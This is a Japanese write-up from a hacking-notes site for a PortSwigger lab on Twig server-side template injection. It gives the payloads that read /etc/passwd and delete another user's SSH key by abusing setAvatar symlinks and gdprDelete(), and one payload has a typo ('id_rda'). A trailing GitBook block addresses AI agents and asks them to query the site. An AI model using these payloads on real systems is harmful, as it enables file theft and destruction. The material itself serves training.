> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/ssti/ssti-with-custom-exploit.md).

# カスタムエクスプロイトを用いたSSTI

PortSwigger Web Security Academy のラボ向けメモ。カスタムエクスプロイトを用いたSSTIに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### カスタムエクスプロイトによるサーバーサイドテンプレートインジェクション

このアプリケーションは SSTI インジェクションの影響を受けやすい。/ 目的はカスタムな **exploit** それによって削除できる `/home/carlos/.ssh/id_rsa`\*\* ファイル。/ ユーザーとの関連の可能性： `wiener:peter`.

#### 注入可能なポイント

その **ニックネーム** フィールドに脆弱性がある：

```python
}}{{7*7
```

式が評価される。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76bd882bbfebfe0d7eb4662266cd1af848902330%2Fimage%20(302).png?alt=media" alt=""><figcaption></figcaption></figure>

エラーを発生させることで：

```php
}}{{7/a
```

使用されているエンジンは **Twig (PHP)**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4302d42eeceeaf957a79226199b723d907bb413%2Fimage%20(303).png?alt=media" alt=""><figcaption></figcaption></figure>

#### D関数の機能の転用

次の方法でカスタムアバターを定義できます：

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0d7f3aecaae6377184b4a1786e0c1736c1743ba%2Fimage%20(304).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c99d6939c29e0ebdee73bd84ca41eea3df8a605%2Fimage%20(305).png?alt=media" alt="" width="496"><figcaption></figcaption></figure>

この仕組みにより **シンボリックリンク** 任意の読み取り可能なファイルへの。/ したがって、アバターをダウンロードすることで内容を復元できます。

#### 例

読む `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

画像を開くとファイルにアクセスできます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34c3e0a31f2f4d35058c5196c11e27c34bbc2202%2Fimage%20(306).png?alt=media" alt=""><figcaption></figcaption></figure>

#### コード解析 `User.php`

その `/home/carlos/User.php` ファイルには次が示される：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d67981672d0d11989b56d781795925399fb957%2Fimage%20(307).png?alt=media" alt=""><figcaption></figcaption></figure>

\*\*この `gdprDelete()` 関数は実際にシンボリックリンクが指しているファイルを削除する。\*\*/ まさにこれこそ、削除するために使うべきものです `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("symlink の書き込みに失敗しました " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### 操作：削除対象 `/home/carlos/.ssh/id_rsa`

Carlos の SSH 鍵へのシンボリックリンクを作成する

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

次の方法で削除をトリガーする：

```php
user.gdprDelete()
```

シンボリックリンクが指しているのは `id_rsa`/ `gdprDelete()` を削除する **対象** リンク \*\*`id_rsa` ファイルが削除される。\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
